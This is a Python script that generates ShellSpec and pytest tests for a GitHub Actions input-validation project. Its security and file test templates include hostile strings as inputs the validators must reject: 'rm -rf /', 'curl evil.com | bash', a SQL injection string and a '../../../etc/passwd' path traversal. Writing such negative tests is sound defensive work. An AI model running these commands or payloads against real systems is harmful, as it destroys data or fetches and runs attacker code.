#!/usr/bin/env python3 """Test generation system for GitHub Actions and validators. This script generates test files for actions and validators based on their definitions, without overwriting existing tests. """ # pylint: disable=invalid-name # Script name matches convention from __future__ import annotations import argparse import logging import re import sys from pathlib import Path import yaml # pylint: disable=import-error # Set up logging logging.basicConfig( level=logging.INFO, format="%(levelname)s: %(message)s", ) logger = logging.getLogger(__name__) class TestGenerator: """Generate tests for GitHub Actions and validators.""" def __init__(self, project_root: Path, *, dry_run: bool = False) -> None: """Initialize the test generator. Args: project_root: Path to the project root directory dry_run: If True, don't write files, just show what would be generated """ self.project_root = project_root self.validate_inputs_dir = project_root / "validate-inputs" self.tests_dir = project_root / "_tests" self.generated_count = 0 self.skipped_count = 0 self.dry_run = dry_run def generate_all_tests(self) -> None: """Generate tests for all actions and validators.""" logger.info("Starting test generation...") # Generate ShellSpec tests for actions self.generate_action_tests() # Generate pytest tests for validators self.generate_validator_tests() # Generate tests for custom validators self.generate_custom_validator_tests() logger.info( "Test generation complete: %d generated, %d skipped (already exist)", self.generated_count, self.skipped_count, ) def generate_action_tests(self) -> None: """Generate ShellSpec tests for GitHub Actions.""" logger.info("Generating ShellSpec tests for actions...") # Find all action directories for item in sorted(self.project_root.iterdir()): if not item.is_dir(): continue action_yml = item / "action.yml" if not action_yml.exists(): continue # Skip special directories if item.name.startswith((".", "_")) or item.name == "validate-inputs": continue self._generate_shellspec_test(item.name, action_yml) def _generate_shellspec_test(self, action_name: str, action_yml: Path) -> None: """Generate ShellSpec test for a single action. Args: action_name: Name of the action action_yml: Path to the action.yml file """ # Check if test already exists test_file = self.tests_dir / "unit" / action_name / "validation.spec.sh" if test_file.exists(): logger.debug("Test already exists for %s, skipping", action_name) self.skipped_count += 1 return # Load action definition with action_yml.open() as f: action_def = yaml.safe_load(f) # Generate test content test_content = self._generate_shellspec_content(action_name, action_def) if self.dry_run: logger.info("[DRY RUN] Would generate ShellSpec test: %s", test_file) self.generated_count += 1 return # Create test directory test_file.parent.mkdir(parents=True, exist_ok=True) # Write test file with test_file.open("w", encoding="utf-8") as f: f.write(test_content) # Make executable test_file.chmod(0o755) logger.info("Generated ShellSpec test for %s", action_name) self.generated_count += 1 def _generate_shellspec_content(self, action_name: str, action_def: dict) -> str: """Generate ShellSpec test content. Args: action_name: Name of the action action_def: Action definition from action.yml Returns: ShellSpec test content """ inputs = action_def.get("inputs", {}) required_inputs = [name for name, config in inputs.items() if config.get("required", False)] # Convert action name to readable format readable_name = action_name.replace("-", " ").title() # Use action description if available, otherwise use readable name description = action_def.get("name", readable_name) content = f"""#!/usr/bin/env bash # ShellSpec tests for {action_name} # Generated by generate-tests.py - Do not edit manually # shellcheck disable=SC1091 . "$SHELLSPEC_HELPERDIR/../unit/spec_helper.sh" Describe '{description} Input Validation' """ # Add setup content += """ setup() { export_test_env export INPUT_ACTION_TYPE="${action_name}" cleanup_test_env } Before 'setup' After 'cleanup_test_env' """ # Generate test for required inputs if required_inputs: content += f""" Context 'Required inputs validation' It 'should fail when required inputs are missing' When run validate_inputs '{action_name}' The status should be failure The error should include 'required' End """ for input_name in required_inputs: env_var = f"INPUT_{input_name.upper().replace('-', '_')}" content += f""" It 'should fail without {input_name}' unset {env_var} When run validate_inputs '{action_name}' The status should be failure The error should include '{input_name}' End """ # Generate test for valid inputs content += """ Context 'Valid inputs' It 'should pass with all valid inputs' """ # Add example values for each input for input_name, config in inputs.items(): env_var = f"INPUT_{input_name.upper().replace('-', '_')}" example_value = self._get_example_value(input_name, config) content += f" export {env_var}='{example_value}'\n" content += f""" When run validate_inputs '{action_name}' The status should be success The output should not include 'error' End End """ # Add input-specific validation tests for input_name, config in inputs.items(): test_cases = self._generate_input_test_cases(input_name, config) if test_cases: content += f""" Context '{input_name} validation' """ for test_case in test_cases: content += test_case content += " End\n" content += "End\n" return content def _get_example_value(self, input_name: str, config: dict) -> str: """Get example value for an input based on its name and config. Args: input_name: Name of the input config: Input configuration from action.yml Returns: Example value for the input """ # Check for default value if "default" in config: return str(config["default"]) # Common patterns patterns = { r"token": "${{ secrets.GITHUB_TOKEN }}", r"version": "1.2.3", r"path|file|directory": "./path/to/file", r"url|endpoint": "https://example.com", r"email": "test@example.com", r"branch": "main", r"tag": "v1.0.0", r"image": "myapp:latest", r"registry": "docker.io", r"platform|architecture": "linux/amd64", r"language": "javascript", r"command": "echo test", r"args|arguments": "--verbose", r"message|description": "Test message", r"name|title": "Test Name", r"dry.?run|debug|verbose": "false", r"push|publish|release": "true", r"timeout|delay": "60", r"retries|attempts": "3", r"port": "8080", r"host": "localhost", } # Match patterns for pattern, value in patterns.items(): if re.search(pattern, input_name, re.IGNORECASE): return value # Default fallback return "test-value" def _generate_input_test_cases( self, input_name: str, config: dict, # noqa: ARG002 ) -> list[str]: """Generate test cases for a specific input. Args: input_name: Name of the input config: Input configuration Returns: List of test case strings """ test_cases = [] env_var = f"INPUT_{input_name.upper().replace('-', '_')}" # Boolean validation if re.search(r"dry.?run|debug|verbose|push|publish", input_name, re.IGNORECASE): test_cases.append(f""" It 'should accept boolean values for {input_name}' export {env_var}='true' When run validate_inputs '${{action_name}}' The status should be success End It 'should reject invalid boolean for {input_name}' export {env_var}='invalid' When run validate_inputs '${{action_name}}' The status should be failure The error should include 'boolean' End """) # Version validation elif "version" in input_name.lower(): test_cases.append(f""" It 'should accept valid version for {input_name}' export {env_var}='1.2.3' When run validate_inputs '${{action_name}}' The status should be success End It 'should accept version with v prefix for {input_name}' export {env_var}='v1.2.3' When run validate_inputs '${{action_name}}' The status should be success End """) # Token validation elif "token" in input_name.lower(): test_cases.append(f""" It 'should accept GitHub token for {input_name}' export {env_var}='${{{{ secrets.GITHUB_TOKEN }}}}' When run validate_inputs '${{action_name}}' The status should be success End It 'should accept classic PAT for {input_name}' export {env_var}='ghp_1234567890123456789012345678901234' When run validate_inputs '${{action_name}}' The status should be success End """) # Path validation elif re.search(r"path|file|directory", input_name, re.IGNORECASE): test_cases.append(f""" It 'should accept valid path for {input_name}' export {env_var}='./valid/path' When run validate_inputs '${{action_name}}' The status should be success End It 'should reject path traversal for {input_name}' export {env_var}='../../../etc/passwd' When run validate_inputs '${{action_name}}' The status should be failure The error should include 'security' End """) return test_cases def generate_validator_tests(self) -> None: """Generate pytest tests for validators.""" logger.info("Generating pytest tests for validators...") validators_dir = self.validate_inputs_dir / "validators" tests_dir = self.validate_inputs_dir / "tests" # Find all validator modules for validator_file in sorted(validators_dir.glob("*.py")): if validator_file.name in ("__init__.py", "base.py", "registry.py"): continue validator_name = validator_file.stem test_file = tests_dir / f"test_{validator_name}.py" # Skip if test already exists if test_file.exists(): logger.debug("Test already exists for %s, skipping", validator_name) self.skipped_count += 1 continue # Generate test content test_content = self._generate_pytest_content(validator_name) if self.dry_run: logger.info("[DRY RUN] Would generate pytest test: %s", test_file) self.generated_count += 1 continue # Write test file with test_file.open("w", encoding="utf-8") as f: f.write(test_content) logger.info("Generated pytest test for %s", validator_name) self.generated_count += 1 def _generate_pytest_content(self, validator_name: str) -> str: """Generate pytest test content for a validator. Args: validator_name: Name of the validator module Returns: pytest test content """ class_name = "".join(word.capitalize() for word in validator_name.split("_")) if not class_name.endswith("Validator"): class_name += "Validator" content = f'''"""Tests for {validator_name} validator. Generated by generate-tests.py - Do not edit manually. """ import pytest from validators.{validator_name} import {class_name} class Test{class_name}: """Test cases for {class_name}.""" def setup_method(self): """Set up test fixtures.""" self.validator = {class_name}("test-action") def teardown_method(self): """Clean up after tests.""" self.validator.clear_errors() ''' # Add common test methods based on validator type if "version" in validator_name: content += self._add_version_tests() elif "token" in validator_name: content += self._add_token_tests() elif "boolean" in validator_name: content += self._add_boolean_tests() elif "numeric" in validator_name: content += self._add_numeric_tests() elif "file" in validator_name: content += self._add_file_tests() elif "network" in validator_name: content += self._add_network_tests() elif "docker" in validator_name: content += self._add_docker_tests() elif "security" in validator_name: content += self._add_security_tests() else: content += self._add_generic_tests(validator_name) return content def _add_version_tests(self) -> str: """Add version-specific test methods.""" return ''' def test_valid_semantic_version(self): """Test valid semantic version.""" assert self.validator.validate_semantic_version("1.2.3") is True assert self.validator.validate_semantic_version("1.0.0-alpha") is True assert self.validator.validate_semantic_version("2.0.0+build123") is True def test_invalid_semantic_version(self): """Test invalid semantic version.""" assert self.validator.validate_semantic_version("1.2") is False assert self.validator.validate_semantic_version("invalid") is False assert self.validator.validate_semantic_version("1.2.3.4") is False def test_valid_calver(self): """Test valid calendar version.""" assert self.validator.validate_calver("2024.3.1") is True assert self.validator.validate_calver("2024.03.15") is True assert self.validator.validate_calver("24.3.1") is True def test_github_expressions(self): """Test GitHub expression handling.""" assert self.validator.validate_semantic_version("${{ env.VERSION }}") is True assert self.validator.validate_calver("${{ steps.version.outputs.version }}") is True ''' def _add_token_tests(self) -> str: """Add token-specific test methods.""" return ''' def test_valid_github_token(self): """Test valid GitHub tokens.""" # Classic PAT (36 chars) assert self.validator.validate_github_token("ghp_" + "a" * 32) is True # Fine-grained PAT (82 chars) assert self.validator.validate_github_token("github_pat_" + "a" * 71) is True # GitHub expression assert self.validator.validate_github_token("${{ secrets.GITHUB_TOKEN }}") is True def test_invalid_github_token(self): """Test invalid GitHub tokens.""" assert self.validator.validate_github_token("invalid") is False assert self.validator.validate_github_token("ghp_short") is False assert self.validator.validate_github_token("") is False def test_other_token_types(self): """Test other token types.""" # NPM token assert self.validator.validate_npm_token("npm_" + "a" * 32) is True # PyPI token assert self.validator.validate_pypi_token("pypi-AgEIcHlwaS5vcmc" + "a" * 100) is True ''' def _add_boolean_tests(self) -> str: """Add boolean-specific test methods.""" return ''' def test_valid_boolean_values(self): """Test valid boolean values.""" valid_values = ["true", "false", "True", "False", "TRUE", "FALSE", "yes", "no", "on", "off", "1", "0"] for value in valid_values: assert self.validator.validate_boolean(value) is True assert not self.validator.has_errors() def test_invalid_boolean_values(self): """Test invalid boolean values.""" invalid_values = ["maybe", "unknown", "2", "-1", "", "null"] for value in invalid_values: self.validator.clear_errors() assert self.validator.validate_boolean(value) is False assert self.validator.has_errors() def test_github_expressions(self): """Test GitHub expression handling.""" assert self.validator.validate_boolean("${{ inputs.dry_run }}") is True assert self.validator.validate_boolean("${{ env.DEBUG }}") is True ''' def _add_numeric_tests(self) -> str: """Add numeric-specific test methods.""" return ''' def test_valid_integers(self): """Test valid integer values.""" assert self.validator.validate_integer("42") is True assert self.validator.validate_integer("-10") is True assert self.validator.validate_integer("0") is True def test_invalid_integers(self): """Test invalid integer values.""" assert self.validator.validate_integer("3.14") is False assert self.validator.validate_integer("abc") is False assert self.validator.validate_integer("") is False def test_numeric_ranges(self): """Test numeric range validation.""" assert self.validator.validate_range("5", min_val=1, max_val=10) is True assert self.validator.validate_range("15", min_val=1, max_val=10) is False assert self.validator.validate_range("-5", min_val=0) is False def test_github_expressions(self): """Test GitHub expression handling.""" assert self.validator.validate_integer("${{ inputs.timeout }}") is True assert self.validator.validate_range("${{ env.RETRIES }}", min_val=1) is True ''' def _add_file_tests(self) -> str: """Add file-specific test methods.""" return ''' def test_valid_file_paths(self): """Test valid file paths.""" assert self.validator.validate_file_path("./src/main.py") is True assert self.validator.validate_file_path("/absolute/path/file.txt") is True assert self.validator.validate_file_path("relative/path.yml") is True def test_path_traversal_detection(self): """Test path traversal detection.""" assert self.validator.validate_file_path("../../../etc/passwd") is False assert self.validator.validate_file_path("./valid/../../../etc/passwd") is False assert self.validator.has_errors() def test_file_extensions(self): """Test file extension validation.""" assert self.validator.validate_yaml_file("config.yml") is True assert self.validator.validate_yaml_file("config.yaml") is True assert self.validator.validate_yaml_file("config.txt") is False def test_github_expressions(self): """Test GitHub expression handling.""" assert self.validator.validate_file_path("${{ github.workspace }}/file.txt") is True assert self.validator.validate_yaml_file("${{ inputs.config_file }}") is True ''' def _add_network_tests(self) -> str: """Add network-specific test methods.""" return ''' def test_valid_urls(self): """Test valid URL formats.""" assert self.validator.validate_url("https://example.com") is True assert self.validator.validate_url("http://localhost:8080") is True assert self.validator.validate_url("https://api.example.com/v1/endpoint") is True def test_invalid_urls(self): """Test invalid URL formats.""" assert self.validator.validate_url("not-a-url") is False assert self.validator.validate_url("ftp://example.com") is False assert self.validator.validate_url("") is False def test_valid_emails(self): """Test valid email addresses.""" assert self.validator.validate_email("user@example.com") is True assert self.validator.validate_email("test.user+tag@company.co.uk") is True def test_invalid_emails(self): """Test invalid email addresses.""" assert self.validator.validate_email("invalid") is False assert self.validator.validate_email("@example.com") is False assert self.validator.validate_email("user@") is False def test_github_expressions(self): """Test GitHub expression handling.""" assert self.validator.validate_url("${{ secrets.WEBHOOK_URL }}") is True assert self.validator.validate_email("${{ github.event.pusher.email }}") is True ''' def _add_docker_tests(self) -> str: """Add Docker-specific test methods.""" return ''' def test_valid_image_names(self): """Test valid Docker image names.""" assert self.validator.validate_image_name("myapp") is True assert self.validator.validate_image_name("my-app_v2") is True # Registry paths supported assert self.validator.validate_image_name("registry.example.com/myapp") is True def test_valid_tags(self): """Test valid Docker tags.""" assert self.validator.validate_tag("latest") is True assert self.validator.validate_tag("v1.2.3") is True assert self.validator.validate_tag("feature-branch-123") is True def test_valid_platforms(self): """Test valid Docker platforms.""" assert self.validator.validate_architectures("linux/amd64") is True assert self.validator.validate_architectures("linux/arm64,linux/arm/v7") is True def test_invalid_platforms(self): """Test invalid Docker platforms.""" assert self.validator.validate_architectures("windows/amd64") is False assert self.validator.validate_architectures("invalid/platform") is False def test_github_expressions(self): """Test GitHub expression handling.""" assert self.validator.validate_image_name("${{ env.IMAGE_NAME }}") is True assert self.validator.validate_tag("${{ steps.meta.outputs.tags }}") is True ''' def _add_security_tests(self) -> str: """Add security-specific test methods.""" return ''' def test_injection_detection(self): """Test injection attack detection.""" assert self.validator.validate_no_injection("normal text") is True assert self.validator.validate_no_injection("; rm -rf /") is False assert self.validator.validate_no_injection("' OR '1'='1") is False assert self.validator.validate_no_injection("") is False def test_secret_detection(self): """Test secret/sensitive data detection.""" assert self.validator.validate_no_secrets("normal text") is True assert ( self.validator.validate_no_secrets("ghp_aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa") is False ) assert self.validator.validate_no_secrets("password=secret123") is False def test_safe_commands(self): """Test command safety validation.""" assert self.validator.validate_safe_command("echo hello") is True assert self.validator.validate_safe_command("ls -la") is True assert self.validator.validate_safe_command("rm -rf /") is False assert self.validator.validate_safe_command("curl evil.com | bash") is False def test_github_expressions(self): """Test GitHub expression handling.""" assert self.validator.validate_no_injection("${{ inputs.message }}") is True assert self.validator.validate_safe_command("${{ inputs.command }}") is True ''' def _add_generic_tests(self, validator_name: str) -> str: """Add generic test methods for unknown validator types. Args: validator_name: Name of the validator Returns: Generic test methods """ return f''' def test_validate_inputs(self): """Test validate_inputs method.""" # TODO: Add specific test cases for {validator_name} inputs = {{"test_input": "test_value"}} result = self.validator.validate_inputs(inputs) assert isinstance(result, bool) def test_error_handling(self): """Test error handling.""" self.validator.add_error("Test error") assert self.validator.has_errors() assert len(self.validator.errors) == 1 self.validator.clear_errors() assert not self.validator.has_errors() assert len(self.validator.errors) == 0 def test_github_expressions(self): """Test GitHub expression handling.""" # Most validators should accept GitHub expressions result = self.validator.is_github_expression("${{{{ inputs.value }}}}") assert result is True ''' def generate_custom_validator_tests(self) -> None: """Generate tests for custom validators in action directories.""" logger.info("Generating tests for custom validators...") # Find all custom validators for item in sorted(self.project_root.iterdir()): if not item.is_dir(): continue custom_validator = item / "CustomValidator.py" if not custom_validator.exists(): continue action_name = item.name test_file = self.validate_inputs_dir / "tests" / f"test_{action_name}_custom.py" # Skip if test already exists if test_file.exists(): logger.debug("Test already exists for %s custom validator, skipping", action_name) self.skipped_count += 1 continue # Generate test content test_content = self._generate_custom_validator_test(action_name) if self.dry_run: logger.info("[DRY RUN] Would generate custom validator test: %s", test_file) self.generated_count += 1 continue # Write test file with test_file.open("w", encoding="utf-8") as f: f.write(test_content) logger.info("Generated test for %s custom validator", action_name) self.generated_count += 1 def _generate_custom_validator_test(self, action_name: str) -> str: """Generate test for a custom validator. Args: action_name: Name of the action with custom validator Returns: Test content for custom validator """ class_name = "".join(word.capitalize() for word in action_name.split("-")) content = f'''"""Tests for {action_name} custom validator. Generated by generate-tests.py - Do not edit manually. """ import sys from pathlib import Path import pytest # Add action directory to path to import custom validator action_path = Path(__file__).parent.parent.parent / "{action_name}" sys.path.insert(0, str(action_path)) from CustomValidator import CustomValidator class TestCustom{class_name}Validator: """Test cases for {action_name} custom validator.""" def setup_method(self): """Set up test fixtures.""" self.validator = CustomValidator("{action_name}") def teardown_method(self): """Clean up after tests.""" self.validator.clear_errors() def test_validate_inputs_valid(self): """Test validation with valid inputs.""" # TODO: Add specific valid inputs for {action_name} inputs = {{}} result = self.validator.validate_inputs(inputs) # Adjust assertion based on required inputs assert isinstance(result, bool) def test_validate_inputs_invalid(self): """Test validation with invalid inputs.""" # TODO: Add specific invalid inputs for {action_name} inputs = {{"invalid_key": "invalid_value"}} result = self.validator.validate_inputs(inputs) # Custom validators may have specific validation rules assert isinstance(result, bool) def test_required_inputs(self): """Test required inputs detection.""" required = self.validator.get_required_inputs() assert isinstance(required, list) # TODO: Assert specific required inputs for {action_name} def test_validation_rules(self): """Test validation rules.""" rules = self.validator.get_validation_rules() assert isinstance(rules, dict) # TODO: Assert specific validation rules for {action_name} def test_github_expressions(self): """Test GitHub expression handling.""" inputs = {{ "test_input": "${{{{ github.token }}}}", }} result = self.validator.validate_inputs(inputs) assert isinstance(result, bool) # GitHub expressions should generally be accepted ''' # Add action-specific test methods based on action name if "docker" in action_name: content += ''' def test_docker_specific_validation(self): """Test Docker-specific validation.""" inputs = { "image": "myapp:latest", "platforms": "linux/amd64,linux/arm64", } result = self.validator.validate_inputs(inputs) assert isinstance(result, bool) ''' elif "codeql" in action_name: content += ''' def test_codeql_specific_validation(self): """Test CodeQL-specific validation.""" inputs = { "language": "javascript,python", "queries": "security-extended", } result = self.validator.validate_inputs(inputs) assert isinstance(result, bool) ''' elif "label" in action_name: content += ''' def test_label_specific_validation(self): """Test label-specific validation.""" inputs = { "labels": ".github/labels.yml", "token": "${{ secrets.GITHUB_TOKEN }}", } result = self.validator.validate_inputs(inputs) assert isinstance(result, bool) ''' content += ''' def test_error_propagation(self): """Test error propagation from sub-validators.""" # Custom validators often use sub-validators # Test that errors are properly propagated inputs = {"test": "value"} self.validator.validate_inputs(inputs) # Check error handling if self.validator.has_errors(): assert len(self.validator.errors) > 0 ''' return content def main() -> None: """Main entry point for test generation.""" parser = argparse.ArgumentParser(description="Generate tests for GitHub Actions and validators") parser.add_argument( "--project-root", type=Path, default=Path.cwd(), help="Path to project root (default: current directory)", ) parser.add_argument( "--verbose", "-v", action="store_true", help="Enable verbose logging", ) parser.add_argument( "--dry-run", action="store_true", help="Show what would be generated without creating files", ) args = parser.parse_args() if args.verbose: logging.getLogger().setLevel(logging.DEBUG) # Validate project root if not args.project_root.exists(): logger.error("Project root does not exist: %s", args.project_root) sys.exit(1) validate_inputs = args.project_root / "validate-inputs" if not validate_inputs.exists(): logger.error("validate-inputs directory not found in %s", args.project_root) sys.exit(1) # Run test generation if args.dry_run: logger.info("DRY RUN MODE - No files will be created") generator = TestGenerator(args.project_root, dry_run=args.dry_run) generator.generate_all_tests() if __name__ == "__main__": main()